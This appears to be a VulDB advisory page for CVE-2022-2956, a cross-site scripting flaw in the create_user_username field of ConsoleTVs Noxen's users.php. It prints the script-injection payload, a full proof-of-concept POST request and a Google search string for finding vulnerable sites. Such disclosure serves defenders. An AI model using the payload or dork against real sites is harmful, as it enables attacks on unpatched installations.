ConsoleTVs Noxen /Noxen-master/users.php create_user_username cross site scripting

Summaryinfo

A vulnerability labeled as problematic has been found in ConsoleTVs Noxen. This affects an unknown part of the file /Noxen-master/users.php. The manipulation of the argument create_user_username with the input "><script>alert(/xss/)</script> results in cross site scripting. This vulnerability is known as CVE-2022-2956. It is possible to launch the attack remotely. Furthermore, an exploit is available.

Detailsinfo

A vulnerability classified as problematic has been found in ConsoleTVs Noxen (the affected version unknown). Affected is an unknown part of the file /Noxen-master/users.php. The manipulation of the argument create_user_username with the input value "><script>alert(/xss/)</script> leads to a cross site scripting vulnerability. CWE is classifying the issue as CWE-79. The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. This is going to have an impact on integrity.

The weakness was published 08/23/2022. The advisory is shared for download at github.com. This vulnerability is traded as CVE-2022-2956. Successful exploitation requires user interaction by the victim. Technical details and a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1059.007.

The exploit is shared for download at github.com. It is declared as proof-of-concept. By approaching the search of inurl:Noxen-master/users.php it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

POST /Noxen-master/users.php HTTP/1.1
Host: example.com
Content-Length: 213
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.132.70.98
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.71
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://114.132.70.98/Noxen-master/users.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: td_cookie=4107653369; PHPSESSID=dbs82c77msp8t6cjq2vlv4gia4
Connection: close

fakeusernameremembered=&create_user_username=%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&fakepasswordremembered=&create_user_password=123456&create_user_email=123%40qq.com&create_user_type=1&create_user=

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Vendor

• ConsoleTVs

Name

• Noxen

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #44201: NoxenCMS XSS vulnerability exists (by s7eyd7)

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussion